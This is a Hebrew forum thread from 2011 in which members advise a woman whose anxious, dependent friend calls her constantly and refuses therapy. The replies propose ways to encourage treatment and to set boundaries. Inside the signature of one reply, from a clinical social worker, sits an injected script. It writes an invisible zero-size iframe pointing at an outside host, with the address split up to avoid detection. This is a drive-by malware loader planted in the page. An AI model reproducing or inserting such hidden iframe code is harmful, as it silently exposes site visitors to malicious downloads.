| נשלח ב-15/3/2011 16:37 |
 |
| |
בקשת עזרה ...
מעתיקה לכאן בקשה שהגיע אלי מחברה שלא רשומה כאן בפורום ומעוניינת בעיצה..
רונית, אשמח אם תגיבי כאן או בפרטי או בשניהם :-)
ולכל חברי הפורום נשמח לשמוע את דעתכם מנסיונכם ומידיעותיהם....
רציתי להתייעץ אתכם...
יש לי חברה שהקשר שלנו התחיל לפני כחמש שנים כשהיא עברה לגור בשכנות אליי.
במשך שלוש שנים היה לנו קשר רצוף יומיומי, סדר היום שלנו תמיד כלל אחת את השניה, עד שלפני שנתיים הם עקרו ממקומם קנו דירה (לא רחוק ממני) והילדים פנו למוסדות אחרים כך שהחיים המשיכו ומטבע הדברים הקשר התרופף.
לפני שנה הקשר חזר, (יוזמה שלה) היא יותר נכון דרשה לחדש את הקשר, אבל משהו אצלה השתנה...
היא היתה מבקשת את דעתי על דברים שקרו לה במשך היום, או עתידים לקרות. שיחות הטלפון שהייתי מקבלת ממנה ביום התחילו שש עד שמונה שיחות ביום שהיום יש ימים שאני מקבלת ממנה שש עד שמונה שיחות בשעה!!!
היא הפכה להיות טיפוס חרדתי, בוכה המון על דברים פעוטים שקרו לה לפני שנים, חוששת מתוצאות לטווח הארוך על מעשים לגיטמיים שהיא עושה ופוחדת להשאר לבד ביום החופשי שלה.
אין לי אפשרות להסביר לבעלה את המצב ואין משפחה שתבין.
ניסיתי לדבר איתה על קבלת ייעוץ מקצועי אבל היא השתוללה ופרצה בבכי שהיא לא משוגעת.
כל כיוון שניסיתי להביא אותה לקבל עזרה נפלו בתהום נשיה.
הקשר איתה מתחיל להכניס אותי לדכאונות לעצב לא מוסבר ולעיתים לעצבים על דברים שלי כביכול נהירים ואיך היא לא רואה את זה????
חפרתי בעבר שלה ולא מצאתי תשובה לשינוי המצב החריג שלה.
מבחינתה הקב"ה ואני היחידים שמחזיקים אותה מלהתמוטט (מילים שלה!)
אני פוחדת מהמצב הזה. אני יודעת שהיא הפכה להיות תלותית בי וזה דבר לא בריא לכשלעצמו.
איך יוצאים מהמצב הזה מבלי להרגיש אשמה שנטשתי חברה לעת צרה.
האושר שלה חשוב לי, אבל אני יודעת שאני ממש אבל ממש לא בכיוון הזה!!!
אשמח לשמוע את עצתכם.....
 |
|
|
|
|
| נשלח ב-16/3/2011 11:03 |
|
| |
המכשול העיקרי שאני רואה בסיפור כאן, הוא שהיא לא מוכנה ללכת לטיפול. צריך לשכנע אותה בכיוון הזה, להסביר לה שפניה לטיפול לא מעידה על שגעון.
שנית, מדוע אין אפשרות להסביר לבעלה את המצב? הוא לא רואה בעיניים מה עובר על אשתו? הרי ברור שגם התנהגותה בתוך ביתה השתנתה. אולי תנסי לדבר איתו ללא ידיעתה?
בכל מקרה, כמה שזה יהיה קשה, האשה הזאת חייבת טיפול ויפה שעה אחת קודם, חבל על כל יום של סבל. ואם תעזרי לה להגיע לשם, תוכלי לצאת מהסיפור בקלות, היא כבר תמשיך משם....
בשורות טובות!
_________________
"בְּטַח בַּה'. וַעֲשֵׂה טוֹב. שְׁכָן אֶרֶץ. וּרְעֵה אֱמוּנָה".
תוקן על ידי yefenefesh ב- 16/03/2011 11:01:17
|
|
|
|
| נשלח ב-16/3/2011 22:41 |
|
| |
ערב טוב
כללית אני מסכימה עם דבריו של יפהנפש, מצבה של האשה כפי שמתואר מדאיג ומחייב טיפול. עם זאת, צריך לזכור שלא תמיד יש לנו יכולת שליטה ובעיקר על חיי השני.
מדברייך נשמע שיש שתי אפשרויות רעות, האחת, כפי שקורה עד כה להיענות לה לכל דרישה אך במחיר בריאות ורווחה נפשית שלך.האפשרות השניה לנתק כל קשר אך אז את עשויה להרגיש שנטשת חברה בצרה.
אני מציעה אפשרות שלישית שבה את ממשיכה איתה קשר מסוים תוך כדי שמירה על עצמך ועל גבולותייך. בדרך זו את אולי עשויה לעזור עקיפית גם לה.
אני חושבת שנכון שתנסי לשתף אותה בתחושות שלך על עצמך. נסי להסביר לה שאת חברה שלה אך השיחות הבלתי פוסקות משפיעות על מצב רוחך ועל תפקודך ואת לא יכולה להמשיך בצורה כזו.
נסי לזהות באמת את יכולותייך והציגי לה זאת בפשטות ובבהירות שאת מסוגלת לשוחח איתה למשל פעם אחת ביום/שבוע ולא יותר.
במקביל, הגבילי את עצמך מלענות לטלפונים שלה (היום ניתן לזהות את המתקשר)
בדרך זו את ממשיכה להעניק מידה של תמיכה חברית אך שומרת ככל יכולתך על החירות שלך.
אם זה יעזור לדעת , להערכתי, היענות בלתי מוגבלת לתביעותיה, הנצרכים ככל שיהיו, אינו שומר עליה מפני התמוטטות. ואולי אף ההיפך , פריצת גבולות השני עשוי להיות ביטוי לפריצת הגבולות הפנימיים שלה אשר עשויה לבוא לביטוי במוקדם או במאוחר בהתפרקות.
אומנם, ישנם פעמים, בהם האדם לא מתמוטט כל זמן שהוא שהוא נענה לכל תביעה אך מצב זה עשוי למוטט את השני, כפי שאת חוששת והספקת קצת לחוות
בברכת בשורות טובות
_________________
ד"ר רונית לזר
עו"ס קלינית
נייד 052-6346334 ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי רוניתלזר ב- 16/03/2011 22:43:46
|
|
|
|
|
| נשלח ב-16/3/2011 23:01 |
|
| |
לדעתי (הלא מקצועית) אין לך שום אפשרות לשנות את החברה שלך ואת לא חייבת להקדיש לה את חייך לפי מה שמישתמע יש לך ילדים ובעל שאני מאמינה שהם גם סובלים מהטלפונים של אותה אישה וגם אם את מחליטה שאת מקריבה את עצמך בשבילה אין לך זכות להחליט בשביל המשפחה שלך כאזת החלטה כי גם את לא יודעת מה באמת נכון לעשות
אני הייתי מנתקת את הקר לא לגמרי לפחות בשלב ראשומי אבל מסבירה לה וחשוב שתסבירי כזי שהיא תבין שאת יוצאת מהמעגל קסמים שהיא בנתה מסביבך בד בבד בזמן שאתן כן מדברות שזה יהיה רק על פניה לטיפול ,יכול ליהות שהיא תשען על השיחה השבועית הזאת כמו אוויר לנשימה ותבצע בגלל זה כל מה שתגידי את יכולה גם להתנות את הקשר בפניה לטיפול
גם במקרה שהיא כדבריך תתמותט זאת לא אשמתך את לא אמורה להקריב את החיים שלך ושל משפחתך לקשר שלפי מה שהוא נשמע הוא יותר מזיק ממועיל
ויכול ליהות גם שמעז יצא מתוק אם היא חס וחלילה תתמוטט היא תיהיה חייבת לפנות לטיפול
מאחלת לך המון סייעתא דשמייה
|
|
|
|
| נשלח ב-21/3/2011 17:04 |
|
| |
כמו שכתבו קודמי, נראה שהיא צריכה ללכת לטיפול. כשאדם מסרב ללכת לטפל בעצמו (בעיקר אם התירוץ הוא "אני לא משוגע"), לפעמים עוזר לשכנע אותו ללכת לייעוץ בשביל מישהו אחר. אולי תנסי להגיד לה שכדאי שתתיעץ עם אשת מקצוע לגבי גידול נכון של ילדיה (שבטח סובלים מהמצב), לגבי הזוגיות שלה (שנשמעת לא משהו), לגבי טיפול בהורים מזדקנים (אם זה רלוונטי) וכדו'. במהלך הטיפול עצמו, התכנים שלה עצמה כבר יעלו.
|
|
|
|
| נשלח ב-22/3/2011 12:27 |
|
| |
לא מתביישת, רעיון יפה!
_________________
"בְּטַח בַּה'. וַעֲשֵׂה טוֹב. שְׁכָן אֶרֶץ. וּרְעֵה אֱמוּנָה".
|
|
|
|
|
 |
|
|
|
|
| מנהל לחץ כאן לנעילת האשכול
|
|
